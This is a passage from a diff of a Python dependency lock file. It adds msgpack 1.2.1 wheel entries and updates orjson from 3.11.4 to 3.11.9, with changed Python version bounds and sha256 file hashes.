"sha256:810b916696c86ef0deb3b74588480224df4c1b071136c34183e4a2a4284d7ac7"}, + {file = "msgpack-1.2.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ca0dacff965c47afdc3749a8469d7302a8f801d6a28758d55120d75e66ce6889"}, + {file = "msgpack-1.2.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e2bf9280bceb5efca998435904b5d3e9fdbcc11d90dc9df30aec7973252b720"}, + {file = "msgpack-1.2.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:aa6c4be5d1c02a42b066ca6ddb71adf36432868fdcdb6ee87e634e86e0674190"}, + {file = "msgpack-1.2.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec0e675d59150a6269ddc9139087c722292664a37d071a849c05c473350f1f2d"}, + {file = "msgpack-1.2.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:dd3bfe82d53edfe4b7fc9a7ec9761e23a7a5b1dac22264505af428253c29ed24"}, + {file = "msgpack-1.2.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5ad5467fc3f68b5468e06c5f788d712e9f8ffc8b0cd1bcb160c105c1ee92dae7"}, + {file = "msgpack-1.2.1-cp314-cp314-win32.whl", hash = "sha256:98b58bdb89c46190e4609bb36abe17c6d4105ad13f9c5f8f6f64d320f8ced3fb"}, + {file = "msgpack-1.2.1-cp314-cp314-win_amd64.whl", hash = "sha256:74847557e28ce71bd3c438a447ca90e4b507e997ddbdef8a12a7b283b86c156b"}, + {file = "msgpack-1.2.1-cp314-cp314-win_arm64.whl", hash = "sha256:b50b727bd652bdc37d950336c848ef20ec54a4cafc38dce19b1cd86ad625d0f7"}, + {file = "msgpack-1.2.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:8d00f177ca88a77c1cf848d204a38f249751650b601cb6532acc68805d8a8273"}, + {file = "msgpack-1.2.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5bb9c386f0a329c035ddbab4b72d1028bf9627add8dda41070288563d57ed1b1"}, + {file = "msgpack-1.2.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:20466cca18c49c7292a8984bc15d65857b171e7264bdcb5f96baf8be238791fc"}, + {file = "msgpack-1.2.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:196300e7e5d6e74d50f1607ab9c06c4a1484c383cd22defd727902591f7e8dde"}, + {file = "msgpack-1.2.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:575957e79cd51903a4e8495a242442949641e08f1efd5197b43bebd3ea7682b4"}, + {file = "msgpack-1.2.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8c2ed1e48cc0f460bf3c7780e7137ff21a4e18433451916f2442c1b21036cd7d"}, + {file = "msgpack-1.2.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:5f6277e5f783c36786a145e0247fc189a03f35f84b251646e53592d2bc12b355"}, + {file = "msgpack-1.2.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f9389552ecf4784886345ead0647e4edc96bee37cbab05b75540f542f766c48c"}, + {file = "msgpack-1.2.1-cp314-cp314t-win32.whl", hash = "sha256:c1c79a604a2969a868a78b6ebd27a887e00c624f14f66b3038e0590cb23332d1"}, + {file = "msgpack-1.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:f12038a35fabd52e56a3547bab42401af49a45caa6dd00b34c44de235bc93ee2"}, + {file = "msgpack-1.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:0adcf06ffde0777c0e1a9b771a2b1c4226ba1bbf748c8efcc02fcdeca3299107"}, + {file = "msgpack-1.2.1.tar.gz", hash = "sha256:04c721c2c7448767e9e3f2520a475663d8ee0f09c31890f6d2bd70fd636a9647"}, ] [[package]] @@ -1698,100 +1749,87 @@ typing-extensions = ">=4.5.0" [[package]] name = "orjson" -version = "3.11.4" +version = "3.11.9" description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] markers = "platform_python_implementation != \"PyPy\"" files = [ - {file = "orjson-3.11.4-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e3aa2118a3ece0d25489cbe48498de8a5d580e42e8d9979f65bf47900a15aba1"}, - {file = "orjson-3.11.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a69ab657a4e6733133a3dca82768f2f8b884043714e8d2b9ba9f52b6efef5c44"}, - {file = "orjson-3.11.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3740bffd9816fc0326ddc406098a3a8f387e42223f5f455f2a02a9f834ead80c"}, - {file = "orjson-3.11.4-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65fd2f5730b1bf7f350c6dc896173d3460d235c4be007af73986d7cd9a2acd23"}, - {file = "orjson-3.11.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9fdc3ae730541086158d549c97852e2eea6820665d4faf0f41bf99df41bc11ea"}, - {file = "orjson-3.11.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e10b4d65901da88845516ce9f7f9736f9638d19a1d483b3883dc0182e6e5edba"}, - {file = "orjson-3.11.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb6a03a678085f64b97f9d4a9ae69376ce91a3a9e9b56a82b1580d8e1d501aff"}, - {file = "orjson-3.11.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2c82e4f0b1c712477317434761fbc28b044c838b6b1240d895607441412371ac"}, - {file = "orjson-3.11.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:d58c166a18f44cc9e2bad03a327dc2d1a3d2e85b847133cfbafd6bfc6719bd79"}, - {file = "orjson-3.11.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:94f206766bf1ea30e1382e4890f763bd1eefddc580e08fec1ccdc20ddd95c827"}, - {file = "orjson-3.11.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:41bf25fb39a34cf8edb4398818523277ee7096689db352036a9e8437f2f3ee6b"}, - {file = "orjson-3.11.4-cp310-cp310-win32.whl", hash = "sha256:fa9627eba4e82f99ca6d29bc967f09aba446ee2b5a1ea728949ede73d313f5d3"}, - {file = "orjson-3.11.4-cp310-cp310-win_amd64.whl", hash = "sha256:23ef7abc7fca96632d8174ac115e668c1e931b8fe4dde586e92a500bf1914dcc"}, - {file = "orjson-3.11.4-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:5e59d23cd93ada23ec59a96f215139753fbfe3a4d989549bcb390f8c00370b39"}, - {file = "orjson-3.11.4-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:5c3aedecfc1beb988c27c79d52ebefab93b6c3921dbec361167e6559aba2d36d"}, - {file = "orjson-3.11.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da9e5301f1c2caa2a9a4a303480d79c9ad73560b2e7761de742ab39fe59d9175"}, - {file = "orjson-3.11.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8873812c164a90a79f65368f8f96817e59e35d0cc02786a5356f0e2abed78040"}, - {file = "orjson-3.11.4-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5d7feb0741ebb15204e748f26c9638e6665a5fa93c37a2c73d64f1669b0ddc63"}, - {file = "orjson-3.11.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:01ee5487fefee21e6910da4c2ee9eef005bee568a0879834df86f888d2ffbdd9"}, - {file = "orjson-3.11.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3d40d46f348c0321df01507f92b95a377240c4ec31985225a6668f10e2676f9a"}, - {file = "orjson-3.11.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95713e5fc8af84d8edc75b785d2386f653b63d62b16d681687746734b4dfc0be"}, - {file = "orjson-3.11.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ad73ede24f9083614d6c4ca9a85fe70e33be7bf047ec586ee2363bc7418fe4d7"}, - {file = "orjson-3.11.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:842289889de515421f3f224ef9c1f1efb199a32d76d8d2ca2706fa8afe749549"}, - {file = "orjson-3.11.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3b2427ed5791619851c52a1261b45c233930977e7de8cf36de05636c708fa905"}, - {file = "orjson-3.11.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3c36e524af1d29982e9b190573677ea02781456b2e537d5840e4538a5ec41907"}, - {file = "orjson-3.11.4-cp311-cp311-win32.whl", hash = "sha256:87255b88756eab4a68ec61837ca754e5d10fa8bc47dc57f75cedfeaec358d54c"}, - {file = "orjson-3.11.4-cp311-cp311-win_amd64.whl", hash = "sha256:e2d5d5d798aba9a0e1fede8d853fa899ce2cb930ec0857365f700dffc2c7af6a"}, - {file = "orjson-3.11.4-cp311-cp311-win_arm64.whl", hash = "sha256:6bb6bb41b14c95d4f2702bce9975fda4516f1db48e500102fc4d8119032ff045"}, - {file = "orjson-3.11.4-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:d4371de39319d05d3f482f372720b841c841b52f5385bd99c61ed69d55d9ab50"}, - {file = "orjson-3.11.4-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e41fd3b3cac850eaae78232f37325ed7d7436e11c471246b87b2cd294ec94853"}, - {file = "orjson-3.11.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:600e0e9ca042878c7fdf189cf1b028fe2c1418cc9195f6cb9824eb6ed99cb938"}, - {file = "orjson-3.11.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7bbf9b333f1568ef5da42bc96e18bf30fd7f8d54e9ae066d711056add508e415"}, - {file = "orjson-3.11.4-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4806363144bb6e7297b8e95870e78d30a649fdc4e23fc84daa80c8ebd366ce44"}, - {file = "orjson-3.11.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad355e8308493f527d41154e9053b86a5be892b3b359a5c6d5d95cda23601cb2"}, - {file = "orjson-3.11.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c8a7517482667fb9f0ff1b2f16fe5829296ed7a655d04d68cd9711a4d8a4e708"}, - {file = "orjson-3.11.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:97eb5942c7395a171cbfecc4ef6701fc3c403e762194683772df4c54cfbb2210"}, - {file = "orjson-3.11.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:149d95d5e018bdd822e3f38c103b1a7c91f88d38a88aada5c4e9b3a73a244241"}, - {file = "orjson-3.11.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:624f3951181eb46fc47dea3d221554e98784c823e7069edb5dbd0dc826ac909b"}, - {file = "orjson-3.11.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:03bfa548cf35e3f8b3a96c4e8e41f753c686ff3d8e182ce275b1751deddab58c"}, - {file = "orjson-3.11.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:525021896afef44a68148f6ed8a8bf8375553d6066c7f48537657f64823565b9"}, - {file = "orjson-3.11.4-cp312-cp312-win32.whl", hash = "sha256:b58430396687ce0f7d9eeb3dd47761ca7d8fda8e9eb92b3077a7a353a75efefa"}, - {file = "orjson-3.11.4-cp312-cp312-win_amd64.whl", hash = "sha256:c6dbf422894e1e3c80a177133c0dda260f81428f9de16d61041949f6a2e5c140"}, - {file = "orjson-3.11.4-cp312-cp312-win_arm64.whl", hash = "sha256:d38d2bc06d6415852224fcc9c0bfa834c25431e466dc319f0edd56cca81aa96e"}, - {file = "orjson-3.11.4-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:2d6737d0e616a6e053c8b4acc9eccea6b6cce078533666f32d140e4f85002534"}, - {file = "orjson-3.11.4-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:afb14052690aa328cc118a8e09f07c651d301a72e44920b887c519b313d892ff"}, - {file = "orjson-3.11.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38aa9e65c591febb1b0aed8da4d469eba239d434c218562df179885c94e1a3ad"}, - {file = "orjson-3.11.4-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f2cf4dfaf9163b0728d061bebc1e08631875c51cd30bf47cb9e3293bfbd7dcd5"}, - {file = "orjson-3.11.4-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89216ff3dfdde0e4070932e126320a1752c9d9a758d6a32ec54b3b9334991a6a"}, - {file = "orjson-3.11.4-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9daa26ca8e97fae0ce8aa5d80606ef8f7914e9b129b6b5df9104266f764ce436"}, - {file = "orjson-3.11.4-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5c8b2769dc31883c44a9cd126560327767f848eb95f99c36c9932f51090bfce9"}, - {file = "orjson-3.11.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1469d254b9884f984026bd9b0fa5bbab477a4bfe558bba6848086f6d43eb5e73"}, - {file = "orjson-3.11.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:68e44722541983614e37117209a194e8c3ad07838ccb3127d96863c95ec7f1e0"}, - {file = "orjson-3.11.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8e7805fda9672c12be2f22ae124dcd7b03928d6c197544fe12174b86553f3196"}, - {file = "orjson-3.11.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:04b69c14615fb4434ab867bf6f38b2d649f6f300af30a6705397e895f7aec67a"}, - {file = "orjson-3.11.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:639c3735b8ae7f970066930e58cf0ed39a852d417c24acd4a25fc0b3da3c39a6"}, - {file = "orjson-3.11.4-cp313-cp313-win32.whl", hash = "sha256:6c13879c0d2964335491463302a6ca5ad98105fc5db3565499dcb80b1b4bd839"}, - {file = "orjson-3.11.4-cp313-cp313-win_amd64.whl", hash = "sha256:09bf242a4af98732db9f9a1ec57ca2604848e16f132e3f72edfd3c5c96de009a"}, - {file = "orjson-3.11.4-cp313-cp313-win_arm64.whl", hash = "sha256:a85f0adf63319d6c1ba06fb0dbf997fced64a01179cf17939a6caca662bf92de"}, - {file = "orjson-3.11.4-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:42d43a1f552be1a112af0b21c10a5f553983c2a0938d2bbb8ecd8bc9fb572803"}, - {file = "orjson-3.11.4-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:26a20f3fbc6c7ff2cb8e89c4c5897762c9d88cf37330c6a117312365d6781d54"}, - {file = "orjson-3.11.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e3f20be9048941c7ffa8fc523ccbd17f82e24df1549d1d1fe9317712d19938e"}, - {file = "orjson-3.11.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:aac364c758dc87a52e68e349924d7e4ded348dedff553889e4d9f22f74785316"}, - {file = "orjson-3.11.4-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d5c54a6d76e3d741dcc3f2707f8eeb9ba2a791d3adbf18f900219b62942803b1"}, - {file = "orjson-3.11.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f28485bdca8617b79d44627f5fb04336897041dfd9fa66d383a49d09d86798bc"}, - {file = "orjson-3.11.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bfc2a484cad3585e4ba61985a6062a4c2ed5c7925db6d39f1fa267c9d166487f"}, - {file = "orjson-3.11.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e34dbd508cb91c54f9c9788923daca129fe5b55c5b4eebe713bf5ed3791280cf"}, - {file = "orjson-3.11.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b13c478fa413d4b4ee606ec8e11c3b2e52683a640b006bb586b3041c2ca5f606"}, - {file = "orjson-3.11.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:724ca721ecc8a831b319dcd72cfa370cc380db0bf94537f08f7edd0a7d4e1780"}, - {file = "orjson-3.11.4-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:977c393f2e44845ce1b540e19a786e9643221b3323dae190668a98672d43fb23"}, - {file = "orjson-3.11.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:1e539e382cf46edec157ad66b0b0872a90d829a6b71f17cb633d6c160a223155"}, - {file = "orjson-3.11.4-cp314-cp314-win32.whl", hash = "sha256:d63076d625babab9db5e7836118bdfa086e60f37d8a174194ae720161eb12394"}, - {file = "orjson-3.11.4-cp314-cp314-win_amd64.whl", hash = "sha256:0a54d6635fa3aaa438ae32e8570b9f0de36f3f6562c308d2a2a452e8b0592db1"}, - {file = "orjson-3.11.4-cp314-cp314-win_arm64.whl", hash = "sha256:78b999999039db3cf58f6d230f524f04f75f129ba3d1ca2ed121f8657e575d3d"}, - {file = "orjson-3.11.4-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:405261b0a8c62bcbd8e2931c26fdc08714faf7025f45531541e2b29e544b545b"}, - {file = "orjson-3.11.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:af02ff34059ee9199a3546f123a6ab4c86caf1708c79042caf0820dc290a6d4f"}, - {file = "orjson-3.11.4-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0b2eba969ea4203c177c7b38b36c69519e6067ee68c34dc37081fac74c796e10"}, - {file = "orjson-3.11.4-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0baa0ea43cfa5b008a28d3c07705cf3ada40e5d347f0f44994a64b1b7b4b5350"}, - {file = "orjson-3.11.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:80fd082f5dcc0e94657c144f1b2a3a6479c44ad50be216cf0c244e567f5eae19"}, - {file = "orjson-3.11.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1e3704d35e47d5bee811fb1cbd8599f0b4009b14d451c4c57be5a7e25eb89a13"}, - {file = "orjson-3.11.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:caa447f2b5356779d914658519c874cf3b7629e99e63391ed519c28c8aea4919"}, - {file = "orjson-3.11.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:bba5118143373a86f91dadb8df41d9457498226698ebdf8e11cbb54d5b0e802d"}, - {file = "orjson-3.11.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:622463ab81d19ef3e06868b576551587de8e4d518892d1afab71e0fbc1f9cffc"}, - {file = "orjson-3.11.4-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3e0a700c4b82144b72946b6629968df9762552ee1344bfdb767fecdd634fbd5a"}, - {file = "orjson-3.11.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6e18a5c15e764e5f3fc569b47872450b4bcea24f2a6354c0a0e95ad21045d5a9"}, - {file = "orjson-3.11.4-cp39-cp39-win32.whl", hash = "sha256:fb1c37c71cad991ef4d89c7a634b5ffb4447dbd7ae3ae13e8f5ee7f1775e7ab1"}, - {file = "orjson-3.11.4-cp39-cp39-win_amd64.whl", hash = "sha256:e2985ce8b8c42d00492d0ed79f2bd2b6460d00f2fa671dfde4bf2e02f49bf5c6"}, - {file = "orjson-3.11.4.tar.gz", hash = "sha256:39485f4ab4c9b30a3943cfe99e1a213c4776fb69e8abd68f66b83d5a0b0fdc6d"}, + {file = "orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce"}, + {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd"}, + {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4"}, + {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4"}, + {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e"}, + {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb"}, + {file = "orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47"}, + {file = "orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d"}, + {file = "orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13"}, + {file = "orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92"}, + {file = "orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48"}, + {file = "orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94"}, + {file = "orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244"}, + {file = "orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f"}, + {file = "orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c"}, + {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5"}, + {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c"}, + {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd"}, + {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62"}, + {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877"}, + {file = "orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1"}, + {file = "orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd"}, + {file = "orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff"}, + {file = "orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980"}, + {file = "orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2"}, + {file = "orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180"}, + {file = "orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02"}, + {file = "orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697"}, + {file = "orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49"}, + {file = "orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291"}, + {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09"}, + {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4"}, + {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882"}, + {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff"}, + {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe"}, + {file = "orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61"}, + {file = "orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2"}, + {file = "orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206"}, + {file = "orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f"}, + {file = "orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa"}, + {file = "orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470"}, + {file = "orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be"}, + {file = "orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624"}, + {file = "orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021"}, + {file = "orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = 